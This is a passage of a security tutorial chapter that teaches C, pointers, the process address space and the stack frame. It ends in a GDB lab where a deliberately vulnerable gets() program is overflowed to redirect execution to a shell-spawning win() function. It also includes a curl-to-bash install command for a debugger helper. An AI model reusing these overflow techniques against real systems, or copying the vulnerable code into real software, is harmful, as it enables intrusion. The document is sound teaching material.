Understanding C, Memory Layout, Pointers & the Stack

This is Chapter 5 of the Programming for Security series — Notebook 5. The four previous chapters gave you Python and Bash: high-level languages where memory is invisible, strings just work, and a variable is a name you never have to think about the address of. This chapter goes underneath all of that. It teaches you C — not because you’ll write a lot of production C, but because C is the closest thing to “portable assembly” that exists, and because almost every binary you will ever reverse-engineer, fuzz, or exploit was written in C or C++ and compiled down to the exact memory layout this chapter explains.

If you want to understand a stack buffer overflow, a use-after-free, a format-string bug, or why strcpy is a loaded gun, you have to be able to see memory the way the CPU sees it: a flat array of bytes, with pointers as indices into that array, a stack that grows downward, and a return address sitting on that stack waiting to be overwritten. Python hides every one of those things. C shows you all of them. That visibility is the entire reason this chapter exists.

We start from absolute zero: what a compiler actually does, how to build and run a C program on Kali, what a “type” means when the machine only knows bytes. Then pointers — slowly, with diagrams, until they click. Then arrays and strings as the raw memory they really are. Then the big picture: the virtual address space of a running process, section by section. Then the star of the show, the stack: how a function call is implemented, what a stack frame contains, where the saved return address lives, and — in a fully worked GDB lab — what it looks like when you overflow a buffer and smash that return address. We close on the defensive side: the mitigations (ASLR, stack canaries, NX/DEP, PIE) that stand between a textbook overflow and a working exploit on a modern system, and how a defender reasons about them.

Everything here is lab-scoped and lawful. You compile and break programs that you wrote, on a machine you own. The overflow lab deliberately disables modern protections so the core mechanism is visible; that is a teaching device, not how you’d attack a hardened target. Understanding the mechanism is exactly what lets you both find these bugs (as a researcher or bounty hunter) and defend against them (as a blue-teamer choosing compiler flags). That dual purpose is the point.

Why This Matters Before You Write a Line of C

Every serious offensive-security discipline eventually bottoms out in the memory model this chapter teaches:

• Binary exploitation / pwn (CTF and real research): stack overflows, ROP chains, heap exploitation, format strings — all of it is manipulation of the exact structures below.
• Reverse engineering & malware analysis: Ghidra and IDA decompile machine code back into C-like pseudocode. If you can’t read C and don’t know what a pointer or a stack frame is, the decompiler output is noise.
• Fuzzing & vulnerability research: you fuzz C/C++ binaries precisely because they have no memory safety. Triage means reading a crash in a debugger and understanding which memory structure got corrupted.
• Exploit mitigation & defensive engineering (blue team): choosing -fstack-protector-strong, enabling full RELRO, shipping PIE binaries, turning on ASLR — you can’t reason about these without knowing what they protect.
• Bug bounty (native targets): desktop apps, mobile native libraries, IoT firmware, and browser components are C/C++. Memory-corruption bounties pay the most precisely because they’re the hardest and rest on this foundation.

Python taught you to build tools. C teaches you to understand targets. This is the chapter where “the program crashed” turns into “the program crashed because a 72-byte write into a 64-byte buffer overwrote the saved return address at rbp+8 with 0x4141414141414141.”

Part 1: What C Is and Why It Still Runs the World

C was created by Dennis Ritchie at Bell Labs in 1972 to write the Unix operating system. That origin explains almost everything about it. An operating system has to talk directly to hardware: read and write specific memory addresses, manipulate individual bytes and bits, and impose zero runtime overhead. So C was designed to be a thin, predictable layer over the machine — high-level enough to be portable across CPUs, low-level enough that you can always see roughly what assembly a line will become.

The consequences that matter for security:

• No memory safety. C will happily let you write past the end of an array, use memory after freeing it, or read uninitialized bytes. The language does not check. The CPU does not check. This is the source of the entire category of “memory-corruption vulnerabilities.”
• Manual memory management. You call malloc to get heap memory and free to release it. Forget to free → memory leak. Free twice → double-free. Use after free → use-after-free (UAF). These are three distinct, exploitable bug classes that simply cannot exist in Python.
• Pointers are first-class. A pointer is just a variable holding a memory address. You can do arithmetic on it, cast it to a different type, and dereference it. This power is why C is fast and why C is dangerous.
• Compiled, not interpreted. C source becomes native machine code for one specific architecture (x86-64, ARM64, etc.). There is no interpreter standing between your code and the CPU. What you get is exactly what runs.

Roughly all of the following are written in C or C++: the Linux kernel, the Windows kernel, glibc, OpenSSL, SQLite, nginx, Redis, the reference Python interpreter (CPython) itself, most of Chrome and Firefox, and the firmware in your router. When you exploit or defend any of these, you are operating in the world this chapter describes.

Security relevance up front: the reason a Python string can’t cause a buffer overflow and a C char[64] can is everything below. Python’s str/bytes know their own length and bounds-check every access; a C array is just a bare address and a length you are trusted to respect. Break that trust and you corrupt adjacent memory.

Part 2: The Compilation Pipeline — What “Compiling” Actually Does

In Python you run python3 script.py and it works. In C there is a multi-stage build between your .c file and an executable. You must understand these stages because reverse engineering and exploitation happen at the output end of this pipeline — the machine code — and because build flags chosen here decide whether a binary is exploitable.

flowchart LR
    A["source.c<br/>(human C)"] -->|"Preprocessor<br/>cpp"| B["source.i<br/>(expanded C)"]
    B -->|"Compiler<br/>cc1"| C["source.s<br/>(assembly)"]
    C -->|"Assembler<br/>as"| D["source.o<br/>(object / machine code)"]
    D -->|"Linker<br/>ld"| E["a.out<br/>(executable)"]
    F["libc.a / libc.so<br/>(libraries)"] --> E

The four stages, in order:

1. Preprocessing (cpp). Handles every line starting with #. #include <stdio.h> is literally replaced by the entire contents of that header file. #define MAX 64 textually substitutes 64 for MAX everywhere. The output is still C, just expanded. See it with gcc -E.
2. Compilation (cc1). Translates the expanded C into assembly language for your target CPU. This is where optimization happens (-O0 through -O3). See it with gcc -S — the output .s file is human-readable assembly and is worth staring at once in your life.
3. Assembly (as). Turns the textual assembly into machine code packed into an object file (.o). This is real binary now, but not yet runnable — external references (like printf) are still unresolved placeholders. See it with gcc -c.
4. Linking (ld). Stitches your object file(s) together with the C standard library and resolves those external references, producing the final executable. Linking can be dynamic (the default — printf is resolved at runtime from libc.so) or static (-static — a copy of libc is baked into the binary).

You almost always invoke the whole pipeline at once with gcc. But each stage is inspectable, and security people inspect them constantly.

Installing the toolchain on Kali

# gcc is usually present on Kali; install the full build toolchain to be sure
sudo apt update
sudo apt install -y build-essential gdb

# verify
gcc --version        # e.g. gcc (Debian 13.2.0) 13.2.0
gdb --version        # e.g. GNU gdb (Debian 13.2) 13.2

• build-essential — a meta-package pulling in gcc, g++, make, and the libc headers.
• gdb — the GNU Debugger, the single most important tool in this chapter. We install it now and teach it from scratch in Part 10.

Your first C program, built stage by stage

Create hello.c:

#include <stdio.h>          // brings in the declaration of printf

int main(void) {            // program entry point; returns an int exit code
    printf("Hello, memory\n");
    return 0;               // 0 = success, by Unix convention
}

Now watch each pipeline stage produce a real artifact:

gcc -E hello.c -o hello.i     # 1. preprocess only -> ~800 lines (all of stdio.h inlined!)
gcc -S hello.c -o hello.s     # 2. compile to assembly -> readable x86-64
gcc -c hello.c -o hello.o     # 3. assemble to object file (binary, not runnable)
gcc hello.c -o hello          # 4. do everything: final executable
./hello                       # Hello, memory
echo $?                       # 0   <- the exit code we returned

Flags you’ll use in every build in this chapter:

Flag	Meaning	Why it matters here
-o NAME	name the output file	otherwise you get a.out
-g	embed debug symbols (DWARF)	lets GDB show source lines & variable names
-O0	no optimization	keeps the assembly close to your source — essential for learning
-O2	aggressive optimization	what production builds use; reorders/removes code
-Wall -Wextra	enable warnings	catches many bugs at compile time
-fno-stack-protector	disable stack canary	needed to see a clean overflow in the lab
-z execstack	mark stack executable	classic shellcode-on-stack technique (lab only)
-no-pie	disable position-independent exe	gives fixed addresses, simpler to reason about
-static	bake libc into the binary	self-contained; larger; changes exploitation
-m32	build 32-bit	32-bit stack layout is simpler for a first overflow

A learning/exploitation build in this chapter typically looks like:

gcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln

Every one of those flags weakens the binary on purpose so the underlying mechanism is visible. On a real defensive build you’d want the opposite of most of them — which is exactly the Detection & Defense discussion in Part 12.

Part 3: Types Are Really Just “How Many Bytes and How to Read Them”

In Python, an int is an arbitrary-precision object; it grows as large as you like and you never think about its size. In C, a type is a contract with the machine that says exactly two things: how many bytes this value occupies, and how those bytes should be interpreted. That’s it. A type is a lens over raw memory.

Here are the core scalar types on a typical 64-bit Linux (the “LP64” model). Sizes are not guaranteed by the C standard — only minimums are — which is itself a source of portability bugs and, occasionally, vulnerabilities. Always confirm with sizeof.

Type	Typical size (x86-64 Linux)	Range (unsigned)	Notes
char	1 byte	0–255	also the unit of a C string; may be signed or unsigned
short	2 bytes	0–65,535
int	4 bytes	0–4,294,967,295	the default integer
long	8 bytes	0–~1.8e19	8 on Linux, 4 on 64-bit Windows
long long	8 bytes	0–~1.8e19	guaranteed ≥ 64-bit
float	4 bytes	—	IEEE-754 single precision
double	8 bytes	—	IEEE-754 double precision
void * (pointer)	8 bytes	—	holds a 64-bit address
size_t	8 bytes	unsigned	type of sizeof; used for lengths/indices

Prove it to yourself:

#include <stdio.h>
int main(void) {
    printf("char       %zu\n", sizeof(char));       // 1
    printf("short      %zu\n", sizeof(short));      // 2
    printf("int        %zu\n", sizeof(int));        // 4
    printf("long       %zu\n", sizeof(long));       // 8
    printf("long long  %zu\n", sizeof(long long));  // 8
    printf("float      %zu\n", sizeof(float));      // 4
    printf("double     %zu\n", sizeof(double));     // 8
    printf("void*      %zu\n", sizeof(void*));      // 8
    return 0;
}

%zu is the printf format specifier for a size_t. Using the wrong specifier (%d for a size_t, say) is itself undefined behavior and the seed of format-string bugs we’ll meet later.

Signed vs unsigned — where integer bugs are born

A char holding the bit pattern 1111 1111 is 255 if unsigned and −1 if signed (two’s-complement). The bytes are identical; only the type decides the meaning. This ambiguity is a rich source of vulnerabilities:

#include <stdio.h>
#include <string.h>

void copy_n(char *dst, char *src, int n) {
    if (n > 64) return;          // "bounds check"
    memcpy(dst, src, n);         // but n is signed...
}

If an attacker controls n and passes -1, the check n > 64 is false (−1 is not > 64), so the copy proceeds — but memcpy’s third argument is a size_t (unsigned), so -1 becomes 18,446,744,073,709,551,615. memcpy tries to copy ~18 exabytes and instantly corrupts memory. This is an integer signedness / integer-overflow vulnerability, and CVEs of exactly this shape appear every year in real software. The fix is to type n as size_t and check both ends.

Endianness — the byte order that trips up every beginner

A multi-byte integer has to be laid out in memory as individual bytes, and x86-64 stores them little-endian: the least-significant byte first (lowest address). The 4-byte value 0x11223344 is stored as the bytes 44 33 22 11.

flowchart LR
    subgraph "int value 0x11223344 in memory (little-endian)"
      direction LR
      a["addr+0<br/>0x44"] --- b["addr+1<br/>0x33"] --- c["addr+2<br/>0x22"] --- d["addr+3<br/>0x11"]
    end

Exploitation relevance: when you overwrite a return address with a target like 0x00000000004011d6, you must write the bytes in little-endian order: \xd6\x11\x40\x00\x00\x00\x00\x00. Every pwn tool (pwntools’ p64(), for example) exists partly to handle this byte-ordering for you. Getting endianness wrong is the single most common reason a beginner’s first overflow “doesn’t work.”

Part 4: Pointers — The Concept Everything Else Rests On

A pointer is the idea that scares people off C, and it is genuinely the most important concept in this chapter. So we go slowly. Here is the whole thing in one sentence: a pointer is a variable whose value is a memory address. Nothing more.

Think of RAM as a giant array of bytes, each with a numbered slot (its address). A normal variable stores data. A pointer variable stores the address of some data — it “points at” it.

flowchart LR
    subgraph Memory
      x["address 0x7ffe...a4<br/><b>x = 42</b>"]
      p["address 0x7ffe...98<br/><b>p = 0x7ffe...a4</b>"]
    end
    p -->|"points at"| x

The two operators that are the whole game:

• &x — address-of: “give me the address where x lives.”
• *p — dereference: “give me the value stored at the address p holds.”

They are inverses: *(&x) is just x.

#include <stdio.h>
int main(void) {
    int x = 42;
    int *p = &x;          // p holds the ADDRESS of x. "int *" = "pointer to int"

    printf("x        = %d\n",  x);      // 42        (the value)
    printf("&x       = %p\n",  (void*)&x); // 0x7ffe...  (where x lives)
    printf("p        = %p\n",  (void*)p);  // same address as &x
    printf("*p       = %d\n",  *p);     // 42        (follow the pointer -> the value)

    *p = 99;              // write THROUGH the pointer into x's memory
    printf("x now    = %d\n",  x);      // 99  <- we changed x without naming x!
    return 0;
}

That last part — changing x by writing through p without ever mentioning x — is the essence of both pointers’ power and their danger. If a pointer holds an address it shouldn’t (because you computed it wrong, or an attacker controlled it), *p = 99 writes 99 wherever that address points. An attacker-controlled pointer plus an attacker-controlled value is a write-what-where primitive — the crown jewel of exploitation.

Pointer arithmetic — scaled by the pointed-to type

Adding 1 to a pointer does not add 1 byte; it adds sizeof(*p) bytes — enough to advance to the next element of that type. This is what makes arrays and pointers so intertwined.

#include <stdio.h>
int main(void) {
    int a[4] = {10, 20, 30, 40};
    int *p = a;                 // an array name decays to a pointer to its first element

    printf("%d\n", *p);         // 10
    printf("%d\n", *(p + 1));   // 20  -> address advanced by sizeof(int)=4 bytes
    printf("%d\n", *(p + 3));   // 40
    printf("p=%p (p+1)=%p\n", (void*)p, (void*)(p+1)); // differ by 4, not 1
    return 0;
}

a[i] is defined as *(a + i). That equivalence is why array indexing has no built-in bounds check — it’s just pointer arithmetic plus a dereference, and pointer arithmetic will cheerfully compute an address past the end of the array.

The pointer footguns you must recognize

Bug	What it is	Consequence
NULL dereference	int *p = NULL; *p;	crash (SIGSEGV); usually a DoS, sometimes exploitable
Wild/uninitialized pointer	using int *p; before setting it	reads/writes a garbage address
Dangling pointer	using a pointer after free()	use-after-free — highly exploitable
Out-of-bounds pointer	p = a + 100; then *p	reads/writes adjacent memory — the overflow family
Type-confused pointer	casting char* to int* wrongly	misreads memory; alignment faults

Every one of these is a bug class with its own exploitation techniques and its own detection tooling (AddressSanitizer, Valgrind — Part 12). You cannot understand any of them without first understanding that a pointer is just an address you are trusted to use correctly.

Part 5: Arrays, Strings & Buffers — Raw Memory Wearing a Costume

A C array is a contiguous block of bytes sized count * sizeof(element), and the array’s name is (nearly) synonymous with the address of its first byte. There is no length stored anywhere. The program simply has to remember how big it is. When it forgets — or is tricked — you get an overflow.

A C string is even more bare: it’s just a char array terminated by a zero byte ('\0', value 0). The string "Hi" occupies 3 bytes: 'H', 'i', '\0'. Every C string function finds the end by scanning for that terminator. Lose the terminator and functions read off into adjacent memory until they hit a stray zero — an information leak.

#include <stdio.h>
#include <string.h>
int main(void) {
    char buf[8] = "Hi";       // bytes: 'H' 'i' 0 0 0 0 0 0
    printf("len = %zu\n", strlen(buf));   // 2  (counts until the 0)
    printf("size= %zu\n", sizeof(buf));   // 8  (the whole array)

    buf[2] = '!';             // clobber the terminator -> no more 0 after "Hi!"
    printf("len = %zu\n", strlen(buf));   // now scans past index 2 into whatever follows!
    return 0;
}

The dangerous string functions — and why they’re dangerous

This is the single most security-relevant table in the chapter. Memorize the left column as “functions that will overflow a buffer if you let them,” and the right column as their bounded replacements.

Unsafe function	Why it’s unsafe	Safer alternative
gets(buf)	reads a line with no length limit at all	fgets(buf, sizeof buf, stdin)
strcpy(dst, src)	copies until src’s \0, ignoring dst’s size	strncpy / strlcpy (+ manual \0)
strcat(dst, src)	appends with no size awareness	strncat / strlcat
sprintf(buf, fmt, ...)	formats into buf with no bound	snprintf(buf, sizeof buf, ...)
scanf("%s", buf)	%s reads an unbounded token	scanf("%63s", buf) (width-limited)

gets() was so dangerous it was removed from the C standard entirely in C11 — the only standard-library function ever to be deleted for being unfixable. It is the star of the very first overflow lab, precisely because it embodies the whole bug class in one call.

Security relevance: the classic stack buffer overflow is nothing more than one of these functions writing more bytes into a fixed-size stack array than the array can hold, so the excess bytes spill onto the rest of the stack — including, eventually, the saved return address. To see that happen we first need to understand where these buffers live, which is the whole next part.

CTF/bounty angle: on any native target — a CTF pwn binary, an IoT firmware daemon, a legacy C++ desktop app in a bug-bounty scope — the first thing an analyst greps the disassembly for is exactly this list: strcpy, gets, sprintf, memcpy with an attacker-influenced length. They are the breadcrumbs that lead to the bug.

Part 6: The Process Virtual Address Space — The Map of a Running Program

When you run ./vuln, the kernel gives that process its own private, flat virtual address space: a range of addresses from 0 up to a huge maximum (on x86-64, the user portion runs up to 0x00007fffffffffff). It’s virtual because the CPU’s MMU translates these addresses to real physical RAM behind the scenes, and private because process A’s address 0x400000 and process B’s 0x400000 map to different physical memory. This isolation is itself a security boundary.

That address space is carved into segments, each with different contents and permissions. This map is the mental model you carry into every debugging and exploitation session:

flowchart TD
    subgraph "Process Virtual Address Space (high addr at top)"
      direction TB
      S["<b>Stack</b> — local vars, saved RIP/RBP, args<br/>grows DOWN ↓ toward lower addresses"]
      G1["... unmapped gap ..."]
      MM["<b>mmap / shared libs</b> — libc.so, ld.so, mmap()'d regions"]
      G2["... unmapped gap ..."]
      H["<b>Heap</b> — malloc/free<br/>grows UP ↑ toward higher addresses"]
      B["<b>.bss</b> — uninitialized globals (zeroed)"]
      D["<b>.data</b> — initialized globals/statics"]
      T["<b>.text</b> — the machine code (read+execute, no write)"]
    end
    S --> G1 --> MM --> G2 --> H --> B --> D --> T

Segment by segment, from the bottom (low addresses) up:

Segment	Contents	Permissions	Grows	Security note
.text	compiled machine code	r-x (read/execute, not writable)	fixed	non-writable so code can’t be patched at runtime; W^X
.rodata	string literals, constants	r--	fixed	your "Hello" lives here
.data	initialized globals/statics	rw-	fixed	e.g. int g = 5;
.bss	uninitialized globals/statics	rw-	fixed	zero-filled at load; int g;
heap	malloc/calloc/realloc	rw-	upward ↑	UAF/double-free/heap-overflow live here
mmap	shared libraries, big allocations	varies	—	libc lands here; ASLR randomizes its base
stack	locals, call frames, saved return addrs	rw-	downward ↓	the star of this chapter

Two facts that constantly confuse beginners and constantly matter in exploitation:

1. The stack grows downward — toward lower addresses. When you push data, the stack pointer decreases. This is why a buffer overflow (which writes toward higher addresses, like all writes) marches from a local buffer toward the saved return address that was pushed earlier and therefore sits at a higher address than the buffer. That geometry is the whole reason a linear overflow can reach the return address.
2. The heap grows upward — toward higher addresses — from the opposite end, so the two dynamic regions grow toward each other with a large gap between them.

Seeing the real map: /proc/<pid>/maps

Linux exposes every process’s memory map as a text file. This is one of the most useful things you can show a beginner, because the abstract diagram above becomes concrete addresses:

# start any program that waits, e.g. a sleep, and read its map
sleep 1000 &
cat /proc/$!/maps

Real (trimmed) output looks like:

55e6c0e00000-55e6c0e01000 r--p 00000000 08:01 1319  /usr/bin/sleep      <- ELF header
55e6c0e01000-55e6c0e05000 r-xp 00001000 08:01 1319  /usr/bin/sleep      <- .text (r-x)
55e6c0e05000-55e6c0e07000 r--p 00005000 08:01 1319  /usr/bin/sleep      <- .rodata
55e6c0e08000-55e6c0e09000 rw-p 00007000 08:01 1319  /usr/bin/sleep      <- .data/.bss
7f9c4a000000-7f9c4a028000 r--p 00000000 08:01 2011  /usr/lib/libc.so.6  <- libc mapped here
...
7ffde3b60000-7ffde3b81000 rw-p 00000000 00:00 0     [stack]             <- the stack!
7ffde3bd0000-7ffde3bd4000 r--p 00000000 00:00 0     [vvar]

The four permission characters (r/w/x/p) are exactly the segment permissions from the table. Notice [stack] is rw-p — read/write but not execute. That missing x is the NX/DEP mitigation (Part 12) and is why “just put shellcode on the stack and jump to it” stopped working two decades ago.

Blue team / IR usage: during live-response on a compromised Linux host, /proc/<pid>/maps (and /proc/<pid>/mem) is how a responder spots an injected rwx region (a red flag — legitimate code segments are r-x, legitimate data is rw-; an rwx mapping often means self-modifying or injected code) or a memory-only, file-less implant that never touched disk.

Part 7: The Stack — How It Works, Byte by Byte

The stack is a region of memory managed as a LIFO (last-in, first-out) structure, used to hold everything local to a function call: its local variables, the arguments passed to it (beyond what fit in registers), the address to return to when it finishes, and saved copies of registers. It is called the “call stack” for a reason — every function call pushes a frame on, every return pops one off.

Two CPU registers drive it on x86-64:

• rsp — the stack pointer — always points at the top of the stack (the lowest in-use address, since the stack grows down).
• rbp — the base/frame pointer — points at a fixed spot within the current function’s frame, used as a stable reference to find locals and arguments.

Two instructions move data on and off:

• push rax — subtract 8 from rsp (stack grows down), then write rax at [rsp].
• pop rax — read [rsp] into rax, then add 8 to rsp.

Because the stack grows down, “top of stack” is the lowest address in use, and pushing more data moves rsp to ever-lower addresses. Hold onto that; it is the geometry an overflow exploits.

flowchart TD
    subgraph "Stack after main() calls vuln() (high addr top, low addr bottom)"
      direction TB
      A["higher addresses ↑"]
      B["main()'s frame ..."]
      C["<b>argument(s) to vuln</b> (if spilled)"]
      D["<b>return address</b> (saved RIP → back into main)"]
      E["<b>saved RBP</b> (main's frame pointer)"]
      F["<b>vuln()'s local buffer[64]</b> ← rbp-0x40"]
      G["... rsp points here (top) ..."]
      H["lower addresses ↓ (stack grows this way)"]
    end
    A --> B --> C --> D --> E --> F --> G --> H

That ordering is the crux of the whole chapter, so read it carefully:

• The return address sits at a higher address than the local buffer.
• A strcpy/gets into buffer writes upward (toward higher addresses) as it copies more bytes.
• Therefore a large enough write overflows out of the buffer, past the saved RBP, and onto the saved return address. Overwrite that return address and you control where the CPU jumps when the function returns. That is a stack buffer overflow in one sentence.

Part 8: What a Function Call Really Does — The Stack Frame & Calling Convention

Let’s make the abstract concrete. When main() calls vuln("input"), a precise, CPU-level dance happens, governed by the System V AMD64 calling convention (the standard on Linux/macOS x86-64). Understanding this convention is what lets you read disassembly and craft exploits.

The System V AMD64 calling convention (the rules)

• The first six integer/pointer arguments go in registers, in this order: rdi, rsi, rdx, rcx, r8, r9. (Further args spill onto the stack.)
• The return value comes back in rax.
• The call instruction pushes the return address (the address of the instruction right after the call) onto the stack, then jumps to the function.
• The ret instruction pops that saved address off the stack into rip and continues there.
• The callee typically saves the caller’s rbp and sets up its own frame (the “function prologue”), and restores it on the way out (the “epilogue”).

The prologue and epilogue in assembly

Nearly every non-trivial function starts and ends with the same boilerplate. This is the code that creates and destroys the stack frame:

; --- PROLOGUE (function entry) ---
push   rbp            ; save caller's frame pointer onto the stack
mov    rbp, rsp       ; establish OUR frame pointer = current stack top
sub    rsp, 0x40      ; carve out 0x40 (64) bytes for local variables

; ... function body: locals are addressed as [rbp - offset] ...

; --- EPILOGUE (function exit) ---
leave                 ; == (mov rsp, rbp ; pop rbp) : tear down frame, restore rbp
ret                   ; pop saved return address into rip -> jump back to caller

Trace the stack through a call, step by step. Say main is about to run call vuln:

sequenceDiagram
    participant CPU
    participant Stack
    CPU->>Stack: call vuln  (push return address)
    Note over Stack: [return addr] now on top
    CPU->>Stack: push rbp   (save main's frame ptr)
    Note over Stack: [saved rbp][return addr]
    CPU->>CPU: mov rbp, rsp (rbp = frame base)
    CPU->>Stack: sub rsp, 0x40 (allocate 64B for buffer)
    Note over Stack: [buffer 64B][saved rbp][return addr]
    CPU->>Stack: ... function runs, writes into buffer ...
    CPU->>Stack: leave (rsp=rbp; pop rbp)
    CPU->>Stack: ret (pop return addr into rip)
    Note over Stack: control returns to main

Now the payoff. The saved return address is a specific 8-byte slot on the stack, and its position relative to a local buffer is fixed and knowable. If buffer is at rbp-0x40, then:

• buffer occupies rbp-0x40 .. rbp-0x01 (64 bytes)
• saved RBP occupies rbp+0x00 .. rbp+0x07 (8 bytes)
• saved return address occupies rbp+0x08 .. rbp+0x0f (8 bytes)

So writing 64 bytes of filler + 8 bytes to overwrite saved RBP + 8 bytes of your chosen address places your address exactly where ret will read it. That “72 then 8” arithmetic is the offset every stack-overflow exploit begins by finding. In the lab (Part 10) we find it empirically with a cyclic pattern rather than by hand-counting — but this is why it works.

Red team usage: control of rip via a corrupted return address is the foundation for ret2win, ret2libc, and ROP — you don’t inject code, you redirect execution to code (or gadgets) already present. Blue team usage: stack canaries (Part 12) work by placing a random value between the buffer and the saved RBP/return address, so a linear overflow that reaches the return address must first destroy the canary — detected on function exit, aborting before ret.

Part 9: The Heap in Brief — Dynamic Memory and Its Bug Classes

The stack is for short-lived, function-scoped data whose size is known at compile time. When you need memory that outlives a function or whose size you only learn at runtime, you use the heap via malloc/free:

#include <stdlib.h>
#include <string.h>
char *dup_input(const char *s) {
    size_t n = strlen(s) + 1;      // +1 for the terminator
    char *p = malloc(n);           // ask the allocator for n bytes on the heap
    if (!p) return NULL;           // ALWAYS check malloc — it can fail
    memcpy(p, s, n);               // copy the string in
    return p;                      // caller now owns this; must free() it later
}

• malloc(n) returns a pointer to at least n bytes, or NULL on failure. The memory is uninitialized (contains garbage) — calloc zeroes it instead.
• free(p) returns the block to the allocator. After free, p is a dangling pointer; using it is undefined behavior.

A full treatment of heap exploitation is a later chapter, but you must be able to name the three heap bug classes now, because they show up constantly in vuln research and CTF:

Heap bug	Cause	Exploitation idea
Heap overflow	writing past a heap allocation	corrupt adjacent chunk metadata or an adjacent object’s pointers
Use-after-free (UAF)	using memory after free()	reallocate the freed chunk with attacker data; hijack a stale pointer/vtable
Double free	calling free(p) twice	corrupt the allocator’s free-list to get a controlled write

Bounty relevance: UAF is the dominant bug class in browser and OS exploitation — the highest bug-bounty payouts (Chrome, Safari, Windows kernel) overwhelmingly go to UAF and type-confusion in C++ objects on the heap. It rests on exactly the pointer-and-lifetime concepts from Part 4: a pointer that still holds an address whose object no longer logically exists.

Detection tooling for all of these — AddressSanitizer and Valgrind — is covered in Part 12, and it is the fastest way to find them in your own code or a target.

Part 10: Hands-On Lab — Watching a Stack Overflow Under GDB

This is the centerpiece. We will write a deliberately vulnerable program, compile it with protections off, and use GDB to watch, register by register, a gets() overflow smash the saved return address and redirect execution into a function that was never called. Everything runs on a Kali VM you control.

GDB from scratch — what it is and the commands we’ll use

GDB (the GNU Debugger) lets you run a program under full control: pause it, step one instruction at a time, inspect and modify registers and memory, set breakpoints, and disassemble. For binary work it’s the microscope. Install a helper front-end to make its output readable:

# GEF is a popular GDB enhancement for exploitation work (pwndbg and peda are alternatives)
sudo apt install -y gdb
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"   # installs GEF into ~/.gdbinit

The GDB commands used in this lab, taught as we go:

Command	Meaning
gdb ./vuln	load a binary under the debugger
break main / b vuln	set a breakpoint at a function
run / r	start the program
run <<< $(python3 -c '...')	run feeding crafted stdin
ni / si	step over / step into one instruction
continue / c	resume until next breakpoint/crash
info registers / i r	dump all CPU registers
x/40xg $rsp	examine 40 giant (8-byte) words in hex at rsp
disassemble vuln	show the function’s assembly
p &buf / p func	print an address of a symbol
pattern create 200 (GEF)	generate a De Bruijn cyclic pattern
pattern offset $rsp (GEF)	find how far into the pattern a value sits

Step 1 — the vulnerable program

Create vuln.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// The function we want to redirect execution INTO — but which is never called.
void win(void) {
    printf("[+] win() reached — you controlled RIP!\n");
    system("/bin/sh");            // pop a shell to prove code execution
}

void vuln(void) {
    char buffer[64];              // 64-byte stack buffer at rbp-0x40
    printf("Enter your name: ");
    gets(buffer);                 // NO bounds check — writes as many bytes as it's given
    printf("Hello, %s\n", buffer);
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);   // unbuffered output so prompts show immediately
    vuln();
    printf("Normal exit.\n");
    return 0;
}

Step 2 — build with every protection off (teaching build)

gcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln
# You'll see a linker WARNING that gets() is dangerous — that's the point.

• -fno-stack-protector — remove the stack canary so the overflow is clean.
• -no-pie — fixed load address, so win() has a stable address like 0x401176.
• -z execstack — mark the stack executable (not strictly needed for ret2win, but standard for this teaching build).
• -g -O0 — debug symbols, no optimization, so GDB shows source and the frame layout is textbook.

Step 3 — confirm the crash

python3 -c "print('A'*200)" | ./vuln

Output:

Enter your name: Hello, AAAAAAAAAAAAAAAAAA...AAAA
Segmentation fault (core dumped)

The program crashed because 200 As (0x41) overflowed buffer, overwrote the saved return address with 0x4141414141414141, and ret jumped there — an unmapped address — causing SIGSEGV. Confirm inside GDB:

gdb -q ./vuln
gef➤  run <<< $(python3 -c "print('A'*200)")

GEF prints a crash summary:

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401248 in vuln ()
$rsp  : 0x00007fffffffe0c8  →  "AAAAAAAA..."
$rbp  : 0x4141414141414141      <- saved RBP overwritten with our 'A's
$rip  : 0x0000000000401248
[!] the return would jump into 0x4141414141414141

Seeing $rbp : 0x4141414141414141 is the “aha”: our input has reached the saved frame pointer, which sits just below the saved return address. We’re one step from controlling rip.

Step 4 — find the exact offset to the return address

Hand-counting says 64 (buffer) + 8 (saved RBP) = 72 bytes before the return address. But guessing is error-prone (compilers add alignment padding), so we measure it with a cyclic De Bruijn pattern — a string in which every 8-byte substring is unique, so whatever lands in rip/rsp tells us its exact position:

gef➤  pattern create 120
[+] Generating a pattern of 120 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaaf...
gef➤  run <<< $(python3 -c "print('aaaaaaaabaaaaaaac...')")   # paste the pattern
...
Program received signal SIGSEGV
$rsp  : 0x00007fffffffe0c8  →  "iaaaaaaajaaa..."
gef➤  pattern offset $rsp
[+] Found at offset 72 (little-endian search) likely

Offset 72. That confirms the geometry: 72 bytes of filler, then the next 8 bytes overwrite the saved return address. (This matches 64-byte buffer + 8-byte saved RBP exactly.)

Step 5 — find win()’s address and build the payload

gef➤  p win
$1 = {void (void)} 0x401176 <win>

win() lives at 0x401176 (stable because -no-pie). We craft: 72 filler bytes + the 8-byte little-endian address of win:

python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + (0x401176).to_bytes(8,'little'))" > payload
xxd payload | tail -1
# 00000040: 4141 4141 4141 4141 7611 4000 0000 0000   AAAAAAAAv.@.....
#                                   ^^^^^^^^^^^^^^^^ win() addr, little-endian

Note 76 11 40 00 00 00 00 00 — the address 0x401176 written least-significant byte first, exactly as Part 3 (endianness) warned.

Step 6 — land the shell

# feed the payload, then keep stdin open so the spawned /bin/sh stays interactive
(cat payload; cat) | ./vuln

Output:

Enter your name: Hello, AAAAAAAA...AAAAv@
[+] win() reached — you controlled RIP!
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)...
whoami
kali

win() was never called in the source — main() only calls vuln(). Yet it ran, because we overwrote the saved return address so that vuln()’s ret jumped into win() instead of back to main(). That is a working ret2win exploit, and it is the seed from which ret2libc and full ROP grow. Everything you just did was pure manipulation of the stack frame from Part 8.

Step 7 — verify the mechanism in the disassembly

Confirm the offset independently by reading the frame setup:

gef➤  disassemble vuln
   0x401200 <+0>:   push   rbp
   0x401201 <+1>:   mov    rbp,rsp
   0x401204 <+4>:   sub    rsp,0x40        <- 0x40 = 64 bytes for buffer
   ...
   0x401211 <+17>:  lea    rax,[rbp-0x40]  <- buffer is at rbp-0x40
   0x401215 <+21>:  mov    rdi,rax
